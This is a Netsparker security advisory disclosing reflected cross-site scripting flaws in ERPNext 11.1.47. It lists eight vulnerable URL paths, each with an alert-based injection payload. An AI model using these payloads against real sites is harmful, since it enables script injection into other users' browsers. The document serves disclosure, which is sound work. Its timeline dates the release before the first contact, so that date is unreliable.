Complimentary 90-day, on-prem license available for entities involved in Covid19 response.

Information
--------------------

Advisory by Netsparker
Name: Multiple Reflected Cross-site Scripting Vulnerabilities in ERPNext
Affected Software: ERPNext
Affected Versions: 11.1.47
Vendor Homepage: https://erpnext.com/
Vulnerability Type: Reflected Cross-site Scripting
Severity: High
Status: Fixed
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Netsparker Advisory Reference: NS-19-017

Technical Details
--------------------

URL: http://{DOMAIN}/address/'"--></style></scRipt><scRipt>alert(‘test’)</scRipt>
Parameter Type : Full URL
Parameter Name : URI-BASED 
Attack Pattern : '"--></style></scRipt><scRipt>alert(‘test’)</scRipt>

URL:  http://{DOMAIN}/addresses/'"--></style></scRipt><scRipt>alert(‘test’)</scRipt>
Parameter Type : Full URL
Parameter Name : URI-BASED 
Attack Pattern : '"--></style></scRipt><scRipt>alert(‘test’)</scRipt>

URL: http://{DOMAIN}/blog/"onload="alert(‘test’)" x
Parameter Type : Full URL
Parameter Name : URI-BASED 
Attack Pattern : "alert(‘test’)" x

URL: http://{DOMAIN}/contact/'"--></style></scRipt><scRipt>alert(‘test’)</scRipt>
Parameter Type : Full URL
Parameter Name : URI-BASED 
Attack Pattern : '"--></style></scRipt><scRipt>alert(‘test’)</scRipt>

URL: http://{DOMAIN}/project/'"--></style></scRipt><scRipt>alert(‘test’)</scRipt>
Parameter Type : Full URL
Parameter Name : URI-BASED 
Attack Pattern : '"--></style></scRipt><scRipt>alert(‘test’)</scRipt>

URL: http://{DOMAIN}/user/admin@example.comx"%20onmouseover=alert(‘test’)%20x="
Parameter Type : Full URL
Parameter Name : URI-BASED 
Attack Pattern : x"%20onmouseover=alert(‘test’)%20x="

URL: http://{DOMAIN}/api/method/x"%20onmouseover=alert(‘test’)%20x="
Parameter Type : Full URL
Parameter Name : URI-BASED 
Attack Pattern : x"%20onmouseover=alert(‘test’)%20x="

URL: http://{DOMAIN}/api/x"%20onmouseover=alert(‘test’)%20x="
Parameter Type : Full URL
Parameter Name : URI-BASED 
Attack Pattern : x"%20onmouseover=alert(‘test’)%20x="

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
--------------------

23rd July 2019 - First Contact
30th July 2019 - Vendor Fixed
6th January 2019 - Advisory Released

Credits & Authors
--------------------

These issues have been discovered by Umran Yildirimkaya while testing the Netsparker Web Application Security Scanner.

About Netsparker
--------------------

Netsparker web application security scanner finds and reports security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities.